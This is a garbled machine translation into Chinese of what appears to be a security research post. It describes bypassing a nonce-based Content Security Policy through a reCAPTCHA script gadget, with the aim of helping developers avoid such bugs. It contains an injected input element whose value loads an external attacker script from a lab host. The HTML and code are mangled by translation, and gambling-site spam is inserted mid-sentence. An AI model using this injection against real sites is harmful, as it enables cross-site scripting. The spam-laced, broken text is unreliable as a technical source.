产品对比
专业版和企业版有什么区别?
产品对比
专业版和企业版有什么区别?
产品对比
专业版和企业版有什么区别?
发布:2021年9月17日在14:00 UTC
更新:2021年9月17日在14:00 UTC
贝宝中的CSP旁路;他们使用了允许列表策略,我们证明了这是不安全的,但是硬币的另一面呢?基于NONCE的政策更安全吗?好吧,如果您对JavaScript不包含错误的信心,则基于NONCE的策略绝对更加安全。但是这些错误可能很微妙,因此您可能不会注意到。
基于NONCE的策略使用分配给属性的随机令牌来确定脚本是否可以执行。这个想法是攻击者无法发现此随机令牌,因此无法注入它,因此无法执行脚本。
例如,将允许此脚本,因为“随机token”将是CSP允许的随机令牌:
<脚本nonce =“随机“>
尽管在这种情况下,攻击者已经注入了脚本,但不知道随机令牌,因此脚本不会执行。
<脚本nonce =“foo“>
脚本小工具网站上是否有一些功能,使您可以以与往常不同的方式执行JavaScript。这可以使您绕过CSP,因为通常允许小工具执行JavaScript。
我们的扫描仪团队负责人亚历克斯·博尔希克(Alex Borshik)决定进行例行扫描beplay官网可以赌PortSwigger.net我们的动态分析提出了一个有趣的问题。他将问题传递给了我,我很快看了看发生了什么:
N.Src=t+ i;
bepaly下载 发现输入元素的值被用于控制脚本URL。这使我们写了脆弱的recaptcha脚本。在这种情况下,小工具将是输入元素及其值属性。
该代码使用查询选择器获取recaptcha客户端URL。问题是,如果攻击者具有在QuerySelector目标之前发生的注射漏洞,他们可以将恶意元素注入ID“ Recaptchaclienturl-''并劫持QuerySelector的结果。
其原因是文档。QuerySelector将返回与QuerySelector匹配的第一个元素,因此,哪些动态分析标记为实际的基于NONCE的CSP旁路。以下内容证明了这一点:
<输入id =“ recaptchaclienturl-” value =“ //beplay官网可以赌 portswigger-labs.net/xss/xss.js”/>
使用QuerySelector找到输入元素,然后将输入元素的值读取并分配给脚本SRC属性,从而导致攻击者的脚本执行。
您必须高度相信您的JavaScript不包含这样的错误,因为攻击者可以滥用他们以控制您的脚本。此问题的最佳解决方法是避免对URL进行攻击者的控制,因此将静态字符串指定到脚本的位置将阻止此问题。
基于NONCE的策略绝对比使用允许列表更安全。但是,在编写JavaScript时需要注意小心,这样它就不会使您的网站暴露于攻击者可以使用的细微小工具,以使您的策略相加。